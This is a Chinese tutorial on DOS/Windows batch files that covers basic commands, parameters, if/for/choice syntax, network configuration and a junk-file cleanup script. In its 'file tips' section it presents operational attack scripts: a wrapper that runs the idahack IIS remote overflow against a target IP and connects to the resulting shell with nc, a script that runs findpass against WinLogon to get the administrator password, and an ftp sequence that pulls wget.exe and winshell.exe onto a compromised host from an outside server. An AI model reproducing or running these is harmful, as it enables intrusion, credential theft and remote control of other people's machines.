标题：bat
定义内涵
批处理文件，在MS-DOS中，.bat文件是可执行文件，由一系列命令构成，其中可以包含对其他程序的调用。文本方式来编辑这个文件的每一行都是一条DOS命令（大部分时候就好像我们在DOS提示符下执行的命令行一样），你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。简单的程序可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程，在批处理中也可以使用循环语句(for)来循环执行一条命令。当然，批处理文件的编程能力与C语言等编程语句比起来是十分有限的，也是十分不规范的。批处理的程序语句就是一条条的DOS命令（包括内部命令和外部命令），而批处理的能力主要取决于你所使用的命令。第三，每个编写好的批处理文件都相当于一个DOS的外部命令　你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录（例如C:\BATCH），然后将所有你编写的批处理文件放到该目录中，这样只要在path中设置上c:\batch，你就可以在任意位置运行所有你编写的批处理程序。DOS和Win9x/Me系统下C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件，每次系统启动时会自动运行该文件，你可以将系统每次启动时都要运行的命令放入该文件中，例如设置搜索路径，调入鼠标驱动和磁盘缓存，设置系统环境变量等。
例子
下面是一个运行于Windows 98(2000，XP)下的autoexec.bat的示例：
@ECHO OFF
PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
LH SMARTDRV.EXE /X
LH DOSKEY点COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D: \TEMP
SET TMP=D:\TEMP
作用
简单的说，批处理的作用就是自动的连续执行多条命令。
这里先讲一个最简单的应用：在启动wps软件时，每次都必须执行（>前面内容表示DOS提示符）： 
C:\>cd wps 
C:\WPS>spdos
C:\WPS>py 
C:\WPS>wbx 
C:\WPS>wps 
如果每次用WPS之前都这样执行一遍，您是不是觉得很麻烦呢？
好了，用批处理，就可以实现将这些麻烦的操作简单化，首先我们编写一个runwps.bat批处理文件，内容如下：
@echo off
c:
cd\wps
spdos
py
wbx
wps
cd\
以后，我们每次进入wps，只需要运行runwps这个批处理文件即可。
常用命令
echo、@、call、pause、rem(小技巧：用::代替rem)是批处理文件最常用的几个命令，我们就从他们开始学起。 
echo 表示显示此命令后的字符 
echo off 表示在此语句后所有运行的命令都不显示命令行本身 【关闭回显】
@与echo off相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。 
call 调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。 
pause 运行此句会暂停批处理的执行并在屏幕上显示“Press any key to continue...”或“请按任意键继续。。。”的提示，等待用户按任意键后继续。
rem 表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。例1用edit编辑a.bat文件，输入下列内容后存盘为c:\a.bat，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt中，启动UCDOS，进入WPS等功能。 
批处理文件的内容为: 　 命令注释： 
@echo off　不显示后续命令行及当前命令行
dir c:\*.* >a.txt　将c盘文件列表写入a.txt 
call c:\ucdos\ucdos.bat　调用ucdos 
echo 你好 　 显示"你好" 
pause 　 暂停,等待按键继续 
rem 准备运行wps 　 注释：准备运行wps 
cd ucdos　 进入ucdos目录 
wps 　 运行wps　 
批处理文件的参数
批处理文件还可以像C语言的函数一样使用参数（相当于DOS命令的命令行参数），这需要用到一个参数表示符“%”。 
%[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。例2C:根目录下有一批处理文件名为f.bat，内容为：
@echo off
format %1
如果执行C:\>f a:
那么在执行f.bat时，%1就表示a:，这样format %1就相当于format a:，于是上面的命令运行时实际执行的是format a:例3C:根目录下一批处理文件名为t.bat，内容为:
@echo off
type %1 
type %2 
那么运行C:\>t a.txt b.txt 
%1 : 表示a.txt
%2 : 表示b.txt
于是上面的命令将顺序地显示a.txt和b.txt文件的内容。
特殊命令
if goto choice forif goto choice for是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。 
一、if 是条件语句，用来判断是否符合规定的条件，从而决定执行不同的命令。 
有三种格式: 
1、if [not] "参数" == "字符串" 待执行的命令 
参数如果等于(not表示不等，下同)指定的字符串，则条件成立，运行命令，否则运行下一句。
例：if "%1"=="a" format a:
2、if [not] exist [路径\]文件名 待执行的命令 
如果有指定的文件，则条件成立，运行命令，否则运行下一句。
如: if exist c:\config.sys type c:\config.sys 
表示如果存在c:\config.sys文件，则显示它的内容。
3、if errorlevel <数字> 待执行的命令 
很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过if errorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。
如if errorlevel 2 goto x2gotogoto 批处理文件运行到这里将跳到goto所指定的标号(标号即label，标号用:后跟标准字符串来定义)处，goto语句一般与if配合使用，根据不同的条件来执行不同的命令组。 
如:
goto end 
:end 
echo this is the end 
标号用“:字符串”来定义，标号所在行不被执行。choicechoice 使用此命令可以让用户输入一个字符（用于选择），从而根据用户的选择返回不同的errorlevel，然后于if errorlevel配合，根据用户的选择运行不同的命令。
注意：choice命令为DOS或者Windows系统提供的外部命令，不同版本的choice命令语法会稍有不同，请用choice /?查看用法。
choice的命令语法（该语法为Windows 2003中choice命令的语法，其它版本的choice的命令语法与此大同小异）：
CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]
描述:
该工具允许用户从选择列表选择一个项目并返回所选项目的索引。
参数列表:
/C　choices　 指定要创建的选项列表。默认列表是 "YN"。
/N　在提示符中隐藏选项列表。提示前面的消息得到显示，选项依旧处于启用状态。
/CS　 允许选择分大小写的选项。在默认情况下，这个工具是不分大小写的。
/T　timeout　 做出默认选择之前，暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0，就不会有暂停，默认选项
会得到选择。
/D　choice　在 nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时，必须用 /T 指定 nnnn。
/M　text　指定提示之前要显示的消息。如果没有指定，工具只显示提示。
/?　显示帮助消息。
注意:
ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1，第二个选择返回 2，等等。如果用户按的键不是有效的选择，该工具会发出警告响声。如果该工具检测到错误状态，它会返回 255 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键，该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时，将参数降序排列。
示例:
CHOICE /? 
CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。"
CHOICE /T 10 /C ync /CS /D y
CHOICE /C ab /M "选项 1 请选择 a，选项 2 请选择 b。"
CHOICE /C ab /N /M "选项 1 请选择 a，选项 2 请选择 b。"
如果我运行命令：CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。"
屏幕上会显示：
确认请按 Y，否请按 N，或者取消请按 C。 [Y,N,C]?例test.bat的内容如下（注意，用if errorlevel判断返回值时，要按返回值从高到低排列）: 
@echo off 
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem 
if errotlevel 1 goto defrag 
:defrag 
c:\dos\defrag 
goto end 
:mem 
mem 
goto end 
:end 
echo good bye 
此批处理运行后，将显示“defrag,mem,end[D,M,E]?” ，用户可选择d m e ，然后if语句根据用户的选择作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，批处理运行结束。forfor 循环命令，只要条件符合，它将多次执行同一命令。 
语法：
对一组文件中的每一个文件执行某个特定命令。
FOR %%variable IN (set) DO command [command-parameters]
%%variable　指定一个单一字母可替换的参数。
(set)　指定一个或一组文件。可以使用通配符。
command　指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
例如一个批处理文件中有一行: 
for %%c in (*.bat *.txt) do type %%c 
则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。批处理示例1. IF-EXIST
1)
首先用记事本在C:\建立一个test1.bat批处理文件，文件内容如下： 
@echo off 
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT 
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist 
然后运行它：
C:\>TEST1.BAT 
如果C:\存在AUTOEXEC.BAT文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。
2)
接着再建立一个test2.bat文件，内容如下： 
@ECHO OFF 
IF EXIST \%1 TYPE \%1 
IF NOT EXIST \%1 ECHO \%1 does not exist 
执行: 
C:\>TEST2 AUTOEXEC.BAT 
该命令运行结果同上。
说明： 
(1) IF EXIST 是用来测试文件是否存在的，格式为 
IF EXIST [路径+文件名] 命令 
(2) test2.bat文件中的%1是参数，DOS允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身) ，这有点象编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。 
3) 更进一步的，建立一个名为TEST3.BAT的文件，内容如下： 
@echo off
IF "%1" == "A" ECHO XIAO 
IF "%2" == "B" ECHO TIAN 
IF "%3" == "C" ECHO XIN 
如果运行：
C:\>TEST3 A B C 
屏幕上会显示:
XIAO
TIAN
XIN
如果运行：
C:\>TEST3 A B 
屏幕上会显示
XIAO
TIAN 
在这个命令执行过程中，DOS会将一个空字符串指定给参数%3。 
2、IF-ERRORLEVEL
建立TEST4.BAT，内容如下：
@ECHO OFF 
XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败 
IF ERRORLEVEL 0 ECHO 成功拷贝文件 
然后执行文件:
C:\>TEST4
如果文件拷贝成功，屏幕就会显示“成功拷贝文件”，否则就会显示“文件拷贝失败”。 
IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的：
@ECHO OFF 
XCOPY C:\AUTOEXEC.BAT D:\ 
IF ERRORLEVEL 0 ECHO 成功拷贝文件 
IF ERRORLEVEL 1 ECHO 未找到拷贝文件 
IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作 
IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作 
IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误 
无论拷贝是否成功，后面的： 
未找到拷贝文件 
用户通过ctrl-c中止拷贝操作 
预置错误阻止文件拷贝操作 
拷贝过程中写盘错误
都将显示出来。
返回值
backup0 备份成功 
1 未找到备份文件 
2 文件共享冲突阻止备份完成 
3 用户用ctrl-c中止备份 
4 由于致命的错误使备份操作中止diskcomp0 盘比较相同 
1 盘比较不同 
2 用户通过ctrl-c中止比较操作 
3 由于致命的错误使比较操作中止 
4 预置错误中止比较diskcopy0 盘拷贝操作成功 
1 非致命盘读/写错 
2 用户通过ctrl-c结束拷贝操作 
3 因致命的处理错误使盘拷贝中止 
4 预置错误阻止拷贝操作format0 格式化成功 
3 用户通过ctrl-c中止格式化处理 
4 因致命的处理错误使格式化中止 
5 在提示“proceed with format（y/n）?”下用户键入n结束xcopy0 成功拷贝文件 
1 未找到拷贝文件 
2 用户通过ctrl-c中止拷贝操作 
4 预置错误阻止文件拷贝操作 
5 拷贝过程中写盘错误
文件技巧
文章结构1. 所有内置命令的帮助信息 
2. 环境变量的概念 
3. 内置的特殊符号(实际使用中间注意避开) 
4. 简单批处理文件概念 
5. 附件1 tmp.txt 
6. 附件2 sample.bat
###########################1. 命令帮助###########################
ver 
cmd /? 
set /? 
rem /? 
if /? 
echo /? 
goto /? 
for /? 
shift /? 
call /? 
其他需要的常用命令 
type /? 
find /? 
findstr /? 
copy /? 
下面将所有上面的帮助输出到一个文件 
echo ver >tmp.txt 
ver >>tmp.txt 
echo cmd /? >>tmp.txt 
cmd /? >>tmp.txt 
echo rem /? >>tmp.txt 
rem /? >>tmp.txt 
echo if /? >>tmp.txt 
if /? >>tmp.txt 
echo goto /? >>tmp.txt 
goto /? >>tmp.txt 
echo for /? >>tmp.txt 
for /? >>tmp.txt 
echo shift /? >>tmp.txt 
shift /? >>tmp.txt 
echo call /? >>tmp.txt 
call /? >>tmp.txt 
echo type /? >>tmp.txt 
type /? >>tmp.txt 
echo find /? >>tmp.txt 
find /? >>tmp.txt 
echo findstr /? >>tmp.txt 
findstr /? >>tmp.txt 
echo copy /? >>tmp.txt 
copy /? >>tmp.txt 
type tmp.txt 
#############################2. 环境变量的概念#############################
C:\Program Files>set 
ALLUSERSPROFILE=C:\Documents and Settings\All Users 
CommonProgramFiles=C:\Program Files\Common Files 
COMPUTERNAME=FIRST 
ComSpec=C:\WINNT\system32\cmd.exe 
NUMBER_OF_PROCESSORS=1 
OS=Windows_NT 
Os2LibPath=C:\WINNT\system32\os2\dll; 
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM 
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH 
PROCESSOR_ARCHITECTURE=x86 
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel 
PROCESSOR_LEVEL=6 
PROCESSOR_REVISION=0605 
ProgramFiles=C:\Program Files 
PROMPT=$P$G 
SystemDrive=C: 
SystemRoot=C:\WINNT 
TEMP=C:\WINNT\TEMP 
TMP=C:\WINNT\TEMP 
USERPROFILE=C:\Documents and Settings\Default User 
windir=C:\WINNT 
path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到 
%windir%\system32\. 这个目录里面. 一般就可以自动搜索到. 
语法: copy mychenxu.exe %windir%\system32\. 
使用点(.) 便于一目了然 
对环境变量的引用使用(英文模式,半角)双引号 
%windir% 变量
%%windir%% 二次变量引用. 
我们常用的还有 
%temp% 临时文件目录 
%windir% 系统目录 
%errorlevel% 退出代码 
输出文件到临时文件目录里面.这样便于当前目录整洁. 
对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作 
C:\>dir p* 
C:\ 的目录 
2000-09-02 11:47 2,164 PDOS.DEF 
1999-01-03 00:47 <DIR> Program Files 
1 个文件 2,164 字节
1 个目录 1,505,997,824 可用字节 
C:\>cd pro* 
C:\Program Files> 
C:\> 
C:\>cd "Program Files" 
C:\Program Files> 
############################################3. 内置的特殊符号############################################
微软里面内置了下列字符不能够在创建的文件名中间使用 
con nul aux \ / | || && ^ > < * 
You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples: 
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了) 
To create the variable value new&name, type: 
set varname=new^&name 
To create the variable value "new&name", type: 
set varname="new&name" 
The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments. 
find "Pacific Rim" < trade.txt > nwtrade.txt 
IF EXIST filename. (del filename.) ELSE echo filename. missing 
> 创建一个文件 
>> 追加到一个文件后面 
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示 
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb 
echo 123456 ^> aaa 
echo 1231231 > bbb 
() 包含命令 
(echo aa & echo bb) 
, 和空格一样的缺省分隔符号. 
; 注释,表示后面为注释 
: 标号作用 
| 管道操作
& Usage：第一条命令 & 第二条命令 [& 第三条命令...] 
用这种方法可以同时执行多条命令，而不管命令是否执行成功 
dir c:\*.exe & dir d:\*.exe & dir e:\*.exe 
&& Usage：第一条命令 && 第二条命令 [&& 第三条命令...] 
当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令； 
|| Usage：第一条命令 || 第二条命令 [|| 第三条命令...] 
当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令； 
常用语法格式 
IF [NOT] ERRORLEVEL number command para1 para2 
IF [NOT] string1==string2 command para1 para2 
IF [NOT] EXIST filename command para1 para2 
IF EXIST filename command para1 para2 
IF NOT EXIST filename command para1 para2 
IF "%1"=="" goto END 
IF "%1"=="net" goto NET 
IF NOT "%2"=="net" goto OTHER 
IF ERRORLEVEL 1 command para1 para2 
IF NOT ERRORLEVEL 1 command para1 para2 
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i 
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k 
按照字母顺序 ijklmnopq依次取参数. 
eol=c - 指一个行注释字符的结尾(就一个) 
skip=n - 指在文件开始时忽略的行数。 
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 
########################4. 简单批处理文件概念########################
echo This is test > a.txt 
type a.txt 
echo This is test 11111 >> a.txt 
type a.txt 
echo This is test 22222 > a.txt 
type a.txt 
第二个echo是追加 
第三个echo将清空a.txt 重新创建 a.txt 
netstat -n | find "3389" 
这个将要列出所有连接3389的用户的ip. 
________________test.bat______
@echo please care 
echo plese care 1111 
echo plese care 2222 
echo plese care 3333 
@echo please care 
@echo plese care 1111 
@echo plese care 2222 
@echo plese care 3333 
rem 不显示注释语句,本行显示 
@rem 不显示注释语句,本行不显示 
@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe) 
@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe) 
_____________________________
下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的. 
___________________ida.bat_____
@rem ver 1.0 
@if NOT exist %windir%\system32\idahack.exe echo "ERROR: dont find idahack.exe" 
@if NOT exist %windir%\system32\nc.exe echo "ERROR: dont find nc.exe" 
@if "%1" =="" goto USAGE 
@if NOT "%2" =="" goto SP2 
:start 
@echo Now start ... 
@ping %1 
@echo chinese win2k:1 sp1:2 sp2:3 
idahack.exe %1 80 1 99 >%temp%\_tmp 
@echo "prog exit code [%errorlevel%] idahack.exe" 
@type %temp%\_tmp 
@find "good luck :)" %temp%\_tmp 
@echo "prog exit code [%errorlevel%] find [goog luck]" 
@if NOT errorlevel 1 nc.exe %1 99 
@goto END 
:SP2 
@idahack.exe %1 80 %2 99 %temp%\_tmp 
@type %temp%\_tmp 
@find "good luck :)" %temp%\_tmp 
@if NOT errorlevel 1 nc.exe %1 99 
@goto END 
:USAGE 
@echo Example: ida.bat IP 
@echo Example: ida.bat IP (2,3) 
:END 
_____________________ida.bat__END_______
下面我们再来第二个文件.就是得到administrator的口令. 
大多数人说得不到.其实是自己的没有输入正确的信息. 
___________________________fpass.bat____________________________________________ 
@rem ver 1.0 
@if NOT exist %windir%\system32\findpass.exe echo "ERROR: dont find findpass.exe" 
@if NOT exist %windir%\system32\pulist.exe echo "ERROR: dont find pulist.exe" 
@echo start.... 
@echo ____________________________________ 
@if "%1"=="" goto USAGE 
@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt 
@echo "prog exit code [%errorlevel%] findpass.exe" 
@type %temp%\_findpass.txt 
@echo ________________________________Here__pass★★★★★★★★ 
@ipconfig /all >>%temp%\_findpass.txt 
@goto END 
:USAGE 
@pulist.exe >%temp%\_pass.txt 
@findstr.exe /i "WINLOGON explorer internat" %temp%\_pass.txt 
@echo "Example: fpass.bat %1 %2 %3 %4 !!!" 
@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon" 
:END 
@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator " 
@echo " fpass.bat end [%errorlevel%] !" 
_________________fpass.bat___END___________________________________________________________ 
还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win) 
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!! 
echo open 210.64.x.4 3396>w 
echo read>>w 
echo read>>w 
echo cd winnt>>w 
echo binary>>w 
echo pwd >>w 
echo get wget.exe >>w 
echo get winshell.exe >>w 
echo get any.exe >>w 
echo quit >>w 
ftp -s:w 
___________________________________________________________
语句结构
类似于C语言，批处理也有它的语句结构。批处理的语句结构主要有选择结构(if语句)、循环结构(for语句)等。if语句(选择结构)if语句实现条件判断，包括字符串比较、存在判断、定义判断等。通过条件判断，if语句即可以实现选择功能。
1、字符串比较
if语句仅能够对两个字符(串)是否相同、先后顺序进行判断等。其命令格式为：
IF [not] string1 compare-op string2 command1 [else command2]
其中，比较操作符compare-op有以下几类：
== - 等于
EQU - 等于
NEQ - 不等于
LSS - 小于
LEQ - 小于或等于
GTR - 大于
GEQ - 大于或等于
选择开关/i则不区分字符串大小写；选择not项，则对判断结果进行逻辑非。
字符串比较示例：
===============================================
@echo off
set str1=abcd1233
set str2=ABCD1234
if %str1%==%str2% (echo 字符串相同！) else (echo 字符串不相同！)
if /i %str1% LSS %str2% (echo str1^<str2) else (echo str1^>=str2)
echo.
set /p choice=是否显示当前时间？(y/n)
if /i not %choice% EQU n echo 当前时间是：%date% %time%
pause>nul
===============================================
对于最后一个if判断，当我们输入n或N时的效果是一样的，都不会显示时间。如果我们取消开关/i，则输入N时，依旧会显示时间。
另外请注意一下几个细节：1-echo str1^<str2和echo str1^>=str2；2-echo.。
2、存在判断
存在判断的功能是判断文件或文件夹是否存在。其命令格式为：
IF [NOT] EXIST filename command1 [else command2]
===============================================
@echo off
if exist %0 echo 文件%0是存在的！
if not exist %~df0 (
echo 文件夹%~df0不存在！
) else echo 文件夹%~df0存在！
pause>nul
===============================================
这里注意几个地方：
1-存在判断既可以判断文件也可以判断文件夹；
2-%0即代表该批处理的全称(包括驱动器盘符、路径、文件名和扩展类型)；
3-%~df0是对%0的修正，只保留了其驱动器盘符和路径，详情请参考for /?，属高级批处理范畴；
4-注意if语句的多行书写，多行书写要求command1的左括号必须和if在同一行、else必须和command1的右括号同行、command2的左括号必须与else同行、command1和command2都可以有任意多行，即command可以是命令集。
3、定义判断
定义判断的功能是判断变量是否存在，即是否已被定义。其命令格式为：
IF [not] DEFINED variable command1 [else command2]
存在判断举例：
===============================================
@echo off
set var=111
if defined var (echo var=%var%) else echo var尚未定义！
set var=
if defined var (echo var=%var%) else echo var尚未定义！
pause>nul
===============================================
对比可知，"set var="可以取消变量，收回变量所占据的内存空间。for语句(循环结构)for语句可以实现类似于C语言里面的循环结构，当然for语句的功能要更强大一点，通过不同的开关可以实现更多的功能。for语句有多个开关，不同开关将会实现不同的功能。
1、无开关
无开关的for语句能够对设定的范围内进行循环，是最基本的for循环语句。其命令格式为：
FOR %%variable IN (set) DO command
其中，%%variable是批处理程序里面的书写格式，在DOS中书写为%variable，即只有一个百分号(%)；set就是需要我们设定的循环范围，类似于C语言里面的循环变量；do后面的command就是循环所执行的命令，即循环体。
无开关for语句举例：
===============================================
@echo off
for %%i in (a,"b c",d) do echo %%i
pause>nul
===============================================
2、开关/L
含开关/L的for语句，可以根据set里面的设置进行循环，从而实现对循环次数的直接控制。其命令格式为：
FOR /L %%variable IN (start,step,end) DO command
其中，start为开始计数的初始值，step为每次递增的值，end为结束值。当end小于start时，step需要设置为负数。
含开关/L的for语句举例(创建5个文件夹)：
===============================================
@echo off
for /l %%i in (1,2,10) do md %%i
pause
===============================================
上例将新建5个文件夹，文件夹名称依次为1、3、5、7、9。可以发现，%%i的结束值并非end的值10，而是不大于end的一个数。
3、开关/F
含开关/F的for语句具有最强大的功能，它能够对字符串进行操作，也能够对命令的返回值进行操作，还可以访问硬盘上的ASCII码文件，比如txt文档等。其命令格式为：
FOR /F ["options"] %%variable IN (set) DO command
其中，set为("string"、'command'、file-set)中的一个；options是(eol=c、skip=n、delims=xxx、tokens=x,y,m-n、usebackq)中的一个或多个的组合。各选项的意义参见for /f。一般情况下，使用较多的是skip、tokens、delims三个选项。
含开关/F的for语句举例：
===============================================
@echo off
echo **No Options:
for /f %%a in ("1,2,10") do echo a=%%a
echo **Options tokens ^& delims:
for /f "tokens=1-3 delims=," %%a in ("1,2,10") do echo a=%%a b=%%b c=%%c
pause
===============================================
@echo off
echo 本文件夹里面的文件有：
for /f "skip=5 tokens=3* delims= " %%a in ('dir') do (
if not "%%a"=="<DIR>" if not "%%b"=="字节" if not "%%b"=="可用字节" echo %%b
)
pause
===============================================
@echo off
echo 本文件夹里面的文件有：
dir>c:\file.txt 
for /f "skip=5 tokens=3* delims= " %%a in (c:\file.txt) do (
if not "%%a"=="<DIR>" if not "%%b"=="字节" if not "%%b"=="可用字节" echo %%b
)
del c:\file.txt
pause
===============================================
对于后面的两个例子，其中options里面的delims= 是可以删除的，因为只要添加了/F开关系统就将delims的值默认为空格。
符号字符串中的最后一个字符星号，
那么额外的变量将在最后一个符号解析之后
分配并接受行的保留文本。本例中也可以改为4，不过文件名中有空格的文件，只能显示空格以前部分
同时我们也看到了，for语句的do后面的command也是可以分行的，只需要保证command的左括号和do在同一行就可以了。
4、开关/D或/R
含开关/D或/R的for语句是与目录或文件有关的命令，一般情况下很少使用。含开关/R的命令有时候被用于通过遍历文件夹来查找某一个文件或文件夹，故而列举此例。
含开关/R的for语句举例(文件夹遍历)：
===============================================
@echo off
setlocal enabledelayedexpansion
FOR /R d: %%i IN (.) DO (
set dd=%%i
set "dd=!dd:~0,-1!"
echo !dd!
)
pause
exit
===============================================
上例即可以罗列出D盘下的所有文件夹，其速度要比命令"tree d:"慢多了，不过其返回结果的实用性则远远超过了tree命令。
一般情况下我们不推荐通过遍历文件夹来查找文件，特别是在查找某些程序(比如QQ.exe)的位置时。推荐通过reg命令查找注册表来查找QQ的路径，以保证查找效率。
上例中也出现了几个新面孔，如setlocal、感叹号等。其中，感叹号其实就是变量百分号(%)的强化版。之所以要用!而不用%，是因为在for循环中，当一个变量被多次赋值时，%dd%所获取的仅仅是dd第一次被赋予的值；要想刷新dd的值，就必须首先通过命令"setlocal enabledelayedexpansion"来开启延迟变量开关，然后用!dd!来获取dd的值。
for语句是批处理里面功能最强大、使用最普遍却又最难掌握的一套命令，这也是批处理菜鸟和批处理高手最明显的一个分水岭，一旦掌握了这套命令，那么你就离批处理达人不远了！[1]
网络设置
@echo off[2]
::判断本地连接 赋值a
for /f "tokens=3,4 delims== " %%i in ('ipconfig ^|findstr /r "本"') do echo %%i %%j &gt;DNS.txt
for /f "tokens=1 delims==:" %%d in (DNS.txt) do set a=%%d
echo 请根据实际情况更改下面三行
set slection1=
set/p slection1=请输入IP地址：
netsh interface ip set address name="%a%" source=static addr=%slection1% mask=255.255.255.0
set slection2=
set/p slection2=请输入网关地址：
netsh interface ip set address name="%a%" gateway=%slection2% gwmetric=0
set slection3=
set/p slection3=请输入主dns地址
netsh interface ip set dns name="%a%" source=static addr=%slection3% register=PRIMARY
set slection4=
set/p slection4=请输入备份dns地址
netsh interface ip add dns name="%a%" addr=%slection4% 
netsh interface ip set wins name="%a%" source=static addr=none
del DNS.txt
exit 改完IP后可用这个完成本机ARP的绑定：
@echo off
if exist ipconfig.txt del ipconfig.txt
ipconfig /all &gt;ipconfig.txt
if exist phyaddr.txt del phyaddr.txt
find "Physical Address" ipconfig.txt &gt;phyaddr.txt
for /f "skip=2 tokens=12" %%M in (phyaddr.txt) do set Mac=%%M
if exist IPAddr.txt del IPaddr.txt
find "IP Address" ipconfig.txt &gt;IPAddr.txt
for /f "skip=2 tokens=15" %%I in (IPAddr.txt) do set IP=%%I
arp -s %IP% %Mac%
del ipaddr.txt
del ipconfig.txt
del phyaddr.txt
exit
同时修改IP和MAC地址的小代码及制作步骤，适合带本本到处跑的 
用于带着本本到处跑又要改IP的场合！ 
1：生成 IP配置文件。 
修改你的IP地址配置为某一个配置，例如配置1。修改好：IP，MASK，DNS，GATE等（主要是IP相关的，不需要修改MAC地址）。 
然后输入： 
netsh -c interface dump &gt; c:\net1.txt 
这里net1.txt就是你生成的IP配置文件了！可以改为其它的文件名，比如：实验室，寝室！ 
依次生成所有的网络配置的配置文件，我假设一共生成两个网络配置分别为net1.txt和net2.txt 
2：下载软件SMAC为修改MAC地址的小软件仅8K，我已经上传了。 
3：在C盘根目录下建立一个目录，把刚才下载的smac.exe，生成的所有的网络配置文件net1.txt,net2.txt等,等一下要建立的两个批处理文件(bat)也都放要放到这里。我假设为这个目录是：C:\cmd 
4：建立一个批处理文件，假设为：ToNet1.bat（可以使用记事本编辑，不过注意保存的时候要加上用加上引号的文件名才能保存为ToNet1.bat，否则就是ToNet1.bat.txt） 
输入如下代码： 
smac -modifymac 0 0050BA44D27A 
netsh -f net1.txt 
net1.txt就是你要设置的某一个网络的配置，0050BA44D27A这个要替换为对应这一个网络配置的MAC地址。另外0050BA44D27A前面的0不可以省略，这个表示网卡（你不会有两个或者多个网卡吧？如果你有，请注意自己先试一下看是哪一个网卡了：在这个smac程序的readme中有list功能，你可以判断一下）。
同样的方法，建立ToNet2.bat，当然修改网络配置文件为net2.txt和mac地址的属性了。 
把这两个bat文件也放到c:\cmd目录中。 
5：然后你可以建立这两个bat文件的快捷方式，双击一下自动更换了！
不过请注意，修改MAC地址可能需要重新启动一下网卡比较好（禁用再启用）
清理系统垃圾
命令代码如下：
@echo off
echo 正在清除系统垃圾文件，请稍等......
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
